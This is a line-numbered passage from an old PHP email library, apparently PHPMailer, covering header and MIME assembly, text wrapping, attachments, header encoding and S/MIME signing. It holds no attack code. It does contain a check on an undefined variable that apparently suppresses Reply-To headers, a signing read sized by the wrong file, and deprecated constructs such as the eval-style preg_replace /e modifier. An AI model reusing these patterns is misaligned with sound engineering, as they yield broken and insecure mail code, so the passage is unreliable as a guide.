2073 /**
2074 * Sets the language for all class error messages. Returns false
2075 * if it cannot load the language file. The default language type
2076 * is English.
2077 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2078 * @param string $lang_path Path to the language file directory
2079 * @access public
2080 * @return bool
2081 */
2082 function SetLanguage($lang_type, $lang_path = 'language/') {
2083 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2084 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2085 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2086 include($lang_path.'phpmailer.lang-en.php');
2087 } else {
2088 $this->SetError('Could not load language file');
2089 return false;
2090 }
2091 $this->language = $PHPMAILER_LANG;
2092
2093 return true;
2094 }
2095
2096 /////////////////////////////////////////////////
2097 // METHODS, MESSAGE CREATION
2098 /////////////////////////////////////////////////
2099
2100 /**
2101 * Creates recipient headers.
2102 * @access private
2103 * @return string
2104 */
2105 function AddrAppend($type, $addr) {
2106 $addr_str = $type . ': ';
2107 $addr_str .= $this->AddrFormat($addr[0]);
2108 if(count($addr) > 1) {
2109 for($i = 1; $i < count($addr); $i++) {
2110 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2111 }
2112 }
2113 $addr_str .= $this->LE;
2114
2115 return $addr_str;
2116 }
2117
2118 /**
2119 * Formats an address correctly.
2120 * @access private
2121 * @return string
2122 */
2123 function AddrFormat($addr) {
2124 if(empty($addr[1])) {
2125 $formatted = $this->SecureHeader($addr[0]);
2126 } else {
2127 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2128 }
2129
2130 return $formatted;
2131 }
2132
2133 /**
2134 * Wraps message for use with mailers that do not
2135 * automatically perform wrapping and for quoted-printable.
2136 * Original written by philippe.
2137 * @access private
2138 * @return string
2139 */
2140 function WrapText($message, $length, $qp_mode = false) {
2141 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2142 // If utf-8 encoding is used, we will need to make sure we don't
2143 // split multibyte characters when we wrap
2144 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2145
2146 $message = $this->FixEOL($message);
2147 if (substr($message, -1) == $this->LE) {
2148 $message = substr($message, 0, -1);
2149 }
2150
2151 $line = explode($this->LE, $message);
2152 $message = '';
2153 for ($i=0 ;$i < count($line); $i++) {
2154 $line_part = explode(' ', $line[$i]);
2155 $buf = '';
2156 for ($e = 0; $e<count($line_part); $e++) {
2157 $word = $line_part[$e];
2158 if ($qp_mode and (strlen($word) > $length)) {
2159 $space_left = $length - strlen($buf) - 1;
2160 if ($e != 0) {
2161 if ($space_left > 20) {
2162 $len = $space_left;
2163 if ($is_utf8) {
2164 $len = $this->UTF8CharBoundary($word, $len);
2165 } elseif (substr($word, $len - 1, 1) == "=") {
2166 $len--;
2167 } elseif (substr($word, $len - 2, 1) == "=") {
2168 $len -= 2;
2169 }
2170 $part = substr($word, 0, $len);
2171 $word = substr($word, $len);
2172 $buf .= ' ' . $part;
2173 $message .= $buf . sprintf("=%s", $this->LE);
2174 } else {
2175 $message .= $buf . $soft_break;
2176 }
2177 $buf = '';
2178 }
2179 while (strlen($word) > 0) {
2180 $len = $length;
2181 if ($is_utf8) {
2182 $len = $this->UTF8CharBoundary($word, $len);
2183 } elseif (substr($word, $len - 1, 1) == "=") {
2184 $len--;
2185 } elseif (substr($word, $len - 2, 1) == "=") {
2186 $len -= 2;
2187 }
2188 $part = substr($word, 0, $len);
2189 $word = substr($word, $len);
2190
2191 if (strlen($word) > 0) {
2192 $message .= $part . sprintf("=%s", $this->LE);
2193 } else {
2194 $buf = $part;
2195 }
2196 }
2197 } else {
2198 $buf_o = $buf;
2199 $buf .= ($e == 0) ? $word : (' ' . $word);
2200
2201 if (strlen($buf) > $length and $buf_o != '') {
2202 $message .= $buf_o . $soft_break;
2203 $buf = $word;
2204 }
2205 }
2206 }
2207 $message .= $buf . $this->LE;
2208 }
2209
2210 return $message;
2211 }
2212
2213 /**
2214 * Finds last character boundary prior to maxLength in a utf-8
2215 * quoted (printable) encoded string.
2216 * Original written by Colin Brown.
2217 * @access private
2218 * @param string $encodedText utf-8 QP text
2219 * @param int $maxLength find last character boundary prior to this length
2220 * @return int
2221 */
2222 function UTF8CharBoundary($encodedText, $maxLength) {
2223 $foundSplitPos = false;
2224 $lookBack = 3;
2225 while (!$foundSplitPos) {
2226 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2227 $encodedCharPos = strpos($lastChunk, "=");
2228 if ($encodedCharPos !== false) {
2229 // Found start of encoded character byte within $lookBack block.
2230 // Check the encoded byte value (the 2 chars after the '=')
2231 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2232 $dec = hexdec($hex);
2233 if ($dec < 128) { // Single byte character.
2234 // If the encoded char was found at pos 0, it will fit
2235 // otherwise reduce maxLength to start of the encoded char
2236 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2237 $maxLength - ($lookBack - $encodedCharPos);
2238 $foundSplitPos = true;
2239 } elseif ($dec >= 192) { // First byte of a multi byte character
2240 // Reduce maxLength to split at start of character
2241 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2242 $foundSplitPos = true;
2243 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2244 $lookBack += 3;
2245 }
2246 } else {
2247 // No encoded character found
2248 $foundSplitPos = true;
2249 }
2250 }
2251 return $maxLength;
2252 }
2253
2254 /**
2255 * Set the body wrapping.
2256 * @access private
2257 * @return void
2258 */
2259 function SetWordWrap() {
2260 if($this->WordWrap < 1) {
2261 return;
2262 }
2263
2264 switch($this->message_type) {
2265 case 'alt':
2266 /* fall through */
2267 case 'alt_attachments':
2268 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2269 break;
2270 default:
2271 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2272 break;
2273 }
2274 }
2275
2276 /**
2277 * Assembles message header.
2278 * @access private
2279 * @return string
2280 */
2281 function CreateHeader() {
2282 $result = '';
2283
2284 /* Set the boundaries */
2285 $uniq_id = md5(uniqid(time()));
2286 $this->boundary[1] = 'b1_' . $uniq_id;
2287 $this->boundary[2] = 'b2_' . $uniq_id;
2288
2289 $result .= $this->HeaderLine('Date', $this->RFCDate());
2290 if($this->Sender == '') {
2291 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2292 } else {
2293 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2294 }
2295
2296 /* To be created automatically by mail() */
2297 if($this->Mailer != 'mail') {
2298 if(count($this->to) > 0) {
2299 $result .= $this->AddrAppend('To', $this->to);
2300 } elseif (count($this->cc) == 0) {
2301 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2302 }
2303 if(count($this->cc) > 0) {
2304 $result .= $this->AddrAppend('Cc', $this->cc);
2305 }
2306 }
2307
2308 $from = array();
2309 $from[0][0] = trim($this->From);
2310 $from[0][1] = $this->FromName;
2311 $result .= $this->AddrAppend('From', $from);
2312
2313 /* sendmail and mail() extract Cc from the header before sending */
2314 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2315 $result .= $this->AddrAppend('Cc', $this->cc);
2316 }
2317
2318 /* sendmail and mail() extract Bcc from the header before sending */
2319 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2320 $result .= $this->AddrAppend('Bcc', $this->bcc);
2321 }
2322 if($replyto != "")
2323 {
2324 if(count($this->ReplyTo) > 0) {
2325 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2326 }
2327 }
2328 /* mail() sets the subject itself */
2329 if($this->Mailer != 'mail') {
2330 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2331 }
2332
2333 if($this->MessageID != '') {
2334 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2335 } else {
2336 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2337 }
2338 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2339 if($this->ConfirmReadingTo != '') {
2340 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2341 }
2342
2343 // Add custom headers
2344 for($index = 0; $index < count($this->CustomHeader); $index++) {
2345 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2346 }
2347 if (!$this->sign_key_file) {
2348 $result .= $this->HeaderLine('MIME-Version', '1.0');
2349 $result .= $this->GetMailMIME();
2350 }
2351
2352 return $result;
2353 }
2354
2355 /**
2356 * Returns the message MIME.
2357 * @access private
2358 * @return string
2359 */
2360 function GetMailMIME() {
2361 $result = '';
2362 switch($this->message_type) {
2363 case 'plain':
2364 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2365 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2366 break;
2367 case 'attachments':
2368 /* fall through */
2369 case 'alt_attachments':
2370 if($this->InlineImageExists()){
2371 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2372 } else {
2373 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2374 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2375 }
2376 break;
2377 case 'alt':
2378 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2379 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2380 break;
2381 }
2382
2383 if($this->Mailer != 'mail') {
2384 $result .= $this->LE.$this->LE;
2385 }
2386
2387 return $result;
2388 }
2389
2390 /**
2391 * Assembles the message body. Returns an empty string on failure.
2392 * @access private
2393 * @return string
2394 */
2395 function CreateBody() {
2396 $result = '';
2397 if ($this->sign_key_file) {
2398 $result .= $this->GetMailMIME();
2399 }
2400
2401 $this->SetWordWrap();
2402
2403 switch($this->message_type) {
2404 case 'alt':
2405 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2406 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2407 $result .= $this->LE.$this->LE;
2408 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2409 $result .= $this->EncodeString($this->Body, $this->Encoding);
2410 $result .= $this->LE.$this->LE;
2411 $result .= $this->EndBoundary($this->boundary[1]);
2412 break;
2413 case 'plain':
2414 $result .= $this->EncodeString($this->Body, $this->Encoding);
2415 break;
2416 case 'attachments':
2417 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2418 $result .= $this->EncodeString($this->Body, $this->Encoding);
2419 $result .= $this->LE;
2420 $result .= $this->AttachAll();
2421 break;
2422 case 'alt_attachments':
2423 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2424 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2425 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2426 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2427 $result .= $this->LE.$this->LE;
2428 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2429 $result .= $this->EncodeString($this->Body, $this->Encoding);
2430 $result .= $this->LE.$this->LE;
2431 $result .= $this->EndBoundary($this->boundary[2]);
2432 $result .= $this->AttachAll();
2433 break;
2434 }
2435
2436 if($this->IsError()) {
2437 $result = '';
2438 } else if ($this->sign_key_file) {
2439 $file = tempnam("", "mail");
2440 $fp = fopen($file, "w");
2441 fwrite($fp, $result);
2442 fclose($fp);
2443 $signed = tempnam("", "signed");
2444
2445 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2446 $fp = fopen($signed, "r");
2447 $result = fread($fp, filesize($this->sign_key_file));
2448 fclose($fp);
2449 } else {
2450 $this->SetError($this->Lang("signing").openssl_error_string());
2451 $result = '';
2452 }
2453
2454 unlink($file);
2455 unlink($signed);
2456 }
2457
2458 return $result;
2459 }
2460
2461 /**
2462 * Returns the start of a message boundary.
2463 * @access private
2464 */
2465 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2466 $result = '';
2467 if($charSet == '') {
2468 $charSet = $this->CharSet;
2469 }
2470 if($contentType == '') {
2471 $contentType = $this->ContentType;
2472 }
2473 if($encoding == '') {
2474 $encoding = $this->Encoding;
2475 }
2476 $result .= $this->TextLine('--' . $boundary);
2477 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2478 $result .= $this->LE;
2479 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2480 $result .= $this->LE;
2481
2482 return $result;
2483 }
2484
2485 /**
2486 * Returns the end of a message boundary.
2487 * @access private
2488 */
2489 function EndBoundary($boundary) {
2490 return $this->LE . '--' . $boundary . '--' . $this->LE;
2491 }
2492
2493 /**
2494 * Sets the message type.
2495 * @access private
2496 * @return void
2497 */
2498 function SetMessageType() {
2499 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2500 $this->message_type = 'plain';
2501 } else {
2502 if(count($this->attachment) > 0) {
2503 $this->message_type = 'attachments';
2504 }
2505 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2506 $this->message_type = 'alt';
2507 }
2508 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2509 $this->message_type = 'alt_attachments';
2510 }
2511 }
2512 }
2513
2514 /* Returns a formatted header line.
2515 * @access private
2516 * @return string
2517 */
2518 function HeaderLine($name, $value) {
2519 return $name . ': ' . $value . $this->LE;
2520 }
2521
2522 /**
2523 * Returns a formatted mail line.
2524 * @access private
2525 * @return string
2526 */
2527 function TextLine($value) {
2528 return $value . $this->LE;
2529 }
2530
2531 /////////////////////////////////////////////////
2532 // CLASS METHODS, ATTACHMENTS
2533 /////////////////////////////////////////////////
2534
2535 /**
2536 * Adds an attachment from a path on the filesystem.
2537 * Returns false if the file could not be found
2538 * or accessed.
2539 * @param string $path Path to the attachment.
2540 * @param string $name Overrides the attachment name.
2541 * @param string $encoding File encoding (see $Encoding).
2542 * @param string $type File extension (MIME) type.
2543 * @return bool
2544 */
2545 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2546 if(!@is_file($path)) {
2547 $this->SetError($this->Lang('file_access') . $path);
2548 return false;
2549 }
2550
2551 $filename = basename($path);
2552 if($name == '') {
2553 $name = $filename;
2554 }
2555
2556 $cur = count($this->attachment);
2557 $this->attachment[$cur][0] = $path;
2558 $this->attachment[$cur][1] = $filename;
2559 $this->attachment[$cur][2] = $name;
2560 $this->attachment[$cur][3] = $encoding;
2561 $this->attachment[$cur][4] = $type;
2562 $this->attachment[$cur][5] = false; // isStringAttachment
2563 $this->attachment[$cur][6] = 'attachment';
2564 $this->attachment[$cur][7] = 0;
2565
2566 return true;
2567 }
2568
2569 /**
2570 * Attaches all fs, string, and binary attachments to the message.
2571 * Returns an empty string on failure.
2572 * @access private
2573 * @return string
2574 */
2575 function AttachAll() {
2576 /* Return text of body */
2577 $mime = array();
2578
2579 /* Add all attachments */
2580 for($i = 0; $i < count($this->attachment); $i++) {
2581 /* Check for string attachment */
2582 $bString = $this->attachment[$i][5];
2583 if ($bString) {
2584 $string = $this->attachment[$i][0];
2585 } else {
2586 $path = $this->attachment[$i][0];
2587 }
2588
2589 $filename = $this->attachment[$i][1];
2590 $name = $this->attachment[$i][2];
2591 $encoding = $this->attachment[$i][3];
2592 $type = $this->attachment[$i][4];
2593 $disposition = $this->attachment[$i][6];
2594 $cid = $this->attachment[$i][7];
2595
2596 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2597 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2598 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2599
2600 if($disposition == 'inline') {
2601 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2602 }
2603
2604 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2605
2606 /* Encode as string attachment */
2607 if($bString) {
2608 $mime[] = $this->EncodeString($string, $encoding);
2609 if($this->IsError()) {
2610 return '';
2611 }
2612 $mime[] = $this->LE.$this->LE;
2613 } else {
2614 $mime[] = $this->EncodeFile($path, $encoding);
2615 if($this->IsError()) {
2616 return '';
2617 }
2618 $mime[] = $this->LE.$this->LE;
2619 }
2620 }
2621
2622 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2623
2624 return join('', $mime);
2625 }
2626
2627 /**
2628 * Encodes attachment in requested format. Returns an
2629 * empty string on failure.
2630 * @access private
2631 * @return string
2632 */
2633 function EncodeFile ($path, $encoding = 'base64') {
2634 if(!@$fd = fopen($path, 'rb')) {
2635 $this->SetError($this->Lang('file_open') . $path);
2636 return '';
2637 }
2638 $magic_quotes = get_magic_quotes_runtime();
2639 set_magic_quotes_runtime(0);
2640 $file_buffer = fread($fd, filesize($path));
2641 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2642 fclose($fd);
2643 set_magic_quotes_runtime($magic_quotes);
2644
2645 return $file_buffer;
2646 }
2647
2648 /**
2649 * Encodes string to requested format. Returns an
2650 * empty string on failure.
2651 * @access private
2652 * @return string
2653 */
2654 function EncodeString ($str, $encoding = 'base64') {
2655 $encoded = '';
2656 switch(strtolower($encoding)) {
2657 case 'base64':
2658 /* chunk_split is found in PHP >= 3.0.6 */
2659 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2660 break;
2661 case '7bit':
2662 case '8bit':
2663 $encoded = $this->FixEOL($str);
2664 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2665 $encoded .= $this->LE;
2666 break;
2667 case 'binary':
2668 $encoded = $str;
2669 break;
2670 case 'quoted-printable':
2671 $encoded = $this->EncodeQP($str);
2672 break;
2673 default:
2674 $this->SetError($this->Lang('encoding') . $encoding);
2675 break;
2676 }
2677 return $encoded;
2678 }
2679
2680 /**
2681 * Encode a header string to best of Q, B, quoted or none.
2682 * @access private
2683 * @return string
2684 */
2685 function EncodeHeader ($str, $position = 'text') {
2686 $x = 0;
2687
2688 switch (strtolower($position)) {
2689 case 'phrase':
2690 if (!preg_match('/[\200-\377]/', $str)) {
2691 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2692 $encoded = addcslashes($str, "\0..\37\177\\\"");
2693 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2694 return ($encoded);
2695 } else {
2696 return ("\"$encoded\"");
2697 }
2698 }
2699 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2700 break;
2701 case 'comment':
2702 $x = preg_match_all('/[()"]/', $str, $matches);
2703 /* Fall-through */
2704 case 'text':
2705 default:
2706 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2707 break;
2708 }
2709
2710 if ($x == 0) {
2711 return ($str);
2712 }
2713
2714 $maxlen = 75 - 7 - strlen($this->CharSet);
2715 /* Try to select the encoding which should produce the shortest output */
2716 if (strlen($str)/3 < $x) {
2717 $encoding = 'B';
2718 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2719 // Use a custom function which correctly encodes and wraps long
2720 // multibyte strings without breaking lines within a character
2721 $encoded = $this->Base64EncodeWrapMB($str);
2722 } else {
2723 $encoded = base64_encode($str);
2724 $maxlen -= $maxlen % 4;
2725 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2726 }
2727 } else {
2728 $encoding = 'Q';
2729 $encoded = $this->EncodeQ($str, $position);
2730 $encoded = $this->WrapText($encoded, $maxlen, true);
2731 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2732 }
2733
2734 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2735 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2736
2737 return $encoded;
2738 }
2739
2740 /**
2741 * Checks if a string contains multibyte characters.
2742 * @access private
2743 * @param string $str multi-byte text to wrap encode
2744 * @return bool
2745 */
2746 function HasMultiBytes($str) {
2747 if (function_exists('mb_strlen')) {
2748 return (strlen($str) > mb_strlen($str, $this->CharSet));
2749 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2750 return False;
2751 }
2752 }
2753
2754 /**
2755 * Correctly encodes and wraps long multibyte strings for mail headers
2756 * without breaking lines within a character.
2757 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2758 * @access private
2759 * @param string $str multi-byte text to wrap encode
2760 * @return string
2761 */
2762 function Base64EncodeWrapMB($str) {
2763 $start = "=?".$this->CharSet."?B?";
2764 $end = "?=";
2765 $encoded = "";
2766
2767 $mb_length = mb_strlen($str, $this->CharSet);
2768 // Each line must have length <= 75, including $start and $end
2769 $length = 75 - strlen($start) - strlen($end);
2770 // Average multi-byte ratio
2771 $ratio = $mb_length / strlen($str);
2772 // Base64 has a 4:3 ratio
2773 $offset = $avgLength = floor($length * $ratio * .75);
2774
2775 for ($i = 0; $i < $mb_length; $i += $offset) {
2776 $lookBack = 0;
2777
2778 do {
2779 $offset = $avgLength - $lookBack;
2780 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2781 $chunk = base64_encode($chunk);
2782 $lookBack++;
2783 }
2784 while (strlen($chunk) > $length);
2785
2786 $encoded .= $chunk . $this->LE;
2787 }
2788
2789 // Chomp the last linefeed
2790 $encoded = substr($encoded, 0, -strlen($this->LE));
2791 return $encoded;
2792 }
2793
2794 /**
2795 * Encode string to quoted-printable.
2796 * @access private
2797 * @return string
2798 */
2799 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2800 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2801 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2802 $eol = "\r\n";
2803 $escape = '=';
2804 $output = '';
2805 while( list(, $line) = each($lines) ) {
2806 $linlen = strlen($line);
2807 $newline = '';
2808 for($i = 0; $i < $linlen; $i++) {
2809 $c = substr( $line, $i, 1 );
2810 $dec = ord( $c );
2811 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2812 $c = '=2E';
2813 }
2814 if ( $dec == 32 ) {
2815 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2816 $c = '=20';
2817 } else if ( $space_conv ) {
2818 $c = '=20';
2819 }
2820 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2821 $h2 = floor($dec/16);
2822 $h1 = floor($dec%16);
2823 $c = $escape.$hex[$h2].$hex[$h1];
2824 }
2825 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2826 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2827 $newline = '';
2828 // check if newline first character will be point or not
2829 if ( $dec == 46 ) {
2830 $c = '=2E';
2831 }
2832 }
2833 $newline .= $c;
2834 } // end of for
2835 $output .= $newline.$eol;
2836 } // end of while
2837 return trim($output);
2838 }
2839
2840 /**
2841 * Encode string to q encoding.
2842 * @access private
2843 * @return string
2844 */
2845 function EncodeQ ($str, $position = 'text') {
2846 /* There should not be any EOL in the string */
2847 $encoded = preg_replace("[\r\n]", '', $str);
2848
2849 switch (strtolower($position)) {
2850 case 'phrase':
2851 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2852 break;
2853 case 'comment':
2854 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2855 case 'text':
2856 default:
2857 /* Replace every high ascii, control =, ? and _ characters */
2858 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2859 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2860 break;
2861 }
2862
2863 /* Replace every spaces to _ (more readable than =20) */
2864 $encoded = str_replace(' ', '_', $encoded);
2865
2866 return $encoded;
2867 }
2868
2869 /**
2870 * Adds a string or binary attachment (non-filesystem) to the list.
2871 * This method can be used to attach ascii or binary data,
2872 * such as a BLOB record from a database.
2873 * @param string $string String attachment data.
2874 * @param string $filename Name of the attachment.
2875 * @param string $encoding File encoding (see $Encoding).
2876 * @param string $type File extension (MIME) type.
2877 * @return void
2878 */
2879 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2880 /* Append to $attachment array */
2881 $cur = count($this->attachment);
2882 $this->attachment[$cur][0] = $string;
2883 $this->attachment[$cur][1] = $filename;
2884 $this->attachment[$cur][2] = $filename;
2885 $this->attachment[$cur][3] = $encoding;
2886 $this->attachment[$cur][4] = $type;
2887 $this->attachment[$cur][5] = true; // isString
2888 $this->attachment[$cur][6] = 'attachment';
2889 $this->attachment[$cur][7] = 0;
2890 }
2891
2892 /**
2893 * Adds an embedded attachment. This can include images, sounds, and
2894 * just about any other document. Make sure to set the $type to an
2895 * image type. For JPEG images use "image/jpeg" and for GIF images
2896 * use "image/gif".
2897 * @param string $path Path to the attachment.
2898 * @param string $cid Content ID of the attachment. Use this to identify
2899 * the Id for accessing the image in an HTML form.
2900 * @param string $name Overrides the attachment name.
2901 * @param string $encoding File encoding (see $Encoding).
2902 * @param string $type File extension (MIME) type.
2903 * @return bool
2904 */
2905 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2906
2907 if(!@is_file($path)) {
2908 $this->SetError($this->Lang('file_access') . $path);
2909 return false;
2910 }
2911
2912 $filename = basename($path);
2913 if($name == '') {
2914 $name = $filename;
2915 }
2916
2917 /* Append to $attachment array */
2918 $cur = count($this->attachment);
2919 $this->attachment[$cur][0] = $path;
2920 $this->attachment[$cur][1] = $filename;
2921 $this->attachment[$cur][2] = $name;
2922 $this->attachment[$cur][3] = $encoding;
2923 $this->attachment[$cur][4] = $type;
2924 $this->attachment[$cur][5] = false;
2925 $this->attachment[$cur][6] = 'inline';
2926 $this->attachment[$cur][7] = $cid;
2927
2928 return true;
2929 }
2930
2931 /**
2932 * Returns true if an inline attachment is present.
2933 * @access private
2934 * @return bool
2935 */
2936 function InlineImageExists() {
2937 $result = false;
2938 for($i = 0; $i < count($this->attachment); $i++) {
2939 if($this->attachment[$i][6] == 'inline') {
2940 $result = true;
2941 break;
2942 }
2943 }
2944
2945 return $result;
2946 }
2947
2948 /////////////////////////////////////////////////
2949 // CLASS METHODS, MESSAGE RESET
2950 /////////////////////////////////////////////////
2951
2952 /**
2953 * Clears all recipients assigned in the TO array. Returns void.
2954 * @return void
2955 */
2956 function ClearAddresses() {
2957 $this->to = array();
2958 }
2959
2960 /**
2961 * Clears all recipients assigned in the CC array. Returns void.
2962 * @return void
2963 */
2964 function ClearCCs() {
2965 $this->cc = array();
2966 }
2967
2968 /**
2969 * Clears all recipients assigned in the BCC array. Returns void.
2970 * @return void
2971 */
2972 function ClearBCCs() {
2973 $this->bcc = array();
2974 }
2975
2976 /**
2977 * Clears all recipients assigned in the ReplyTo array. Returns void.
2978 * @return void
2979 */
2980 function ClearReplyTos() {
2981 $this->ReplyTo = array();
2982 }
2983
2984 /**
2985 * Clears all recipients assigned in the TO, CC and BCC
2986 * array. Returns void.
2987 * @return void
2988 */
2989 function ClearAllRecipients() {
2990 $this->to = array();
2991 $this->cc = array();
2992 $this->bcc = array();
2993 }
2994
2995 /**
2996 * Clears all previously set filesystem, string, and binary
2997 * attachments. Returns void.
2998 * @return void
2999 */
3000 function ClearAttachments() {
3001 $this->attachment = array();
3002 }
3003
3004 /**
3005 * Clears all custom headers. Returns void.
3006 * @return void
3007 */
3008 function ClearCustomHeaders() {
3009 $this->CustomHeader = array();
3010 }
3011
3012 /////////////////////////////////////////////////
3013 // CLASS METHODS, MISCELLANEOUS
3014 /////////////////////////////////////////////////
3015
3016 /**
3017 * Adds the error message to the error container.
3018 * Returns void.
3019 * @access private
3020 * @return void
3021 */
3022 function SetError($msg) {
3023 $this->error_count++;
3024 $this->ErrorInfo = $msg;
3025 }
3026
3027 /**
3028 * Returns the proper RFC 822 formatted date.
3029 * @access private
3030 * @return string
3031 */
3032 function RFCDate() {
3033 $tz = date('Z');
3034 $tzs = ($tz < 0) ? '-' : '+';
3035 $tz = abs($tz);
3036 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3037 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3038
3039 return $result;
3040 }
3041
3042 /**
3043 * Returns the appropriate server variable. Should work with both
3044 * PHP 4.1.0+ as well as older versions. Returns an empty string
3045 * if nothing is found.
3046 * @access private
3047 * @return mixed
3048 */
3049 function ServerVar($varName) {
3050 global $HTTP_SERVER_VARS;
3051 global $HTTP_ENV_VARS;
3052
3053 if(!isset($_SERVER)) {
3054 $_SERVER = $HTTP_SERVER_VARS;
3055 if(!isset($_SERVER['REMOTE_ADDR'])) {
3056 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3057 }
3058 }
3059
3060 if(isset($_SERVER[$varName])) {
3061 return $_SERVER[$varName];
3062 } else {
3063 return '';
3064 }
3065 }
3066
3067 /**
3068 * Returns the server hostname or 'localhost.localdomain' if unknown.
3069 * @access private
3070 * @return string
3071 */
3072 function ServerHostname() {
3073 if ($this->Hostname != '') {
3074 $result = $this->Hostname;
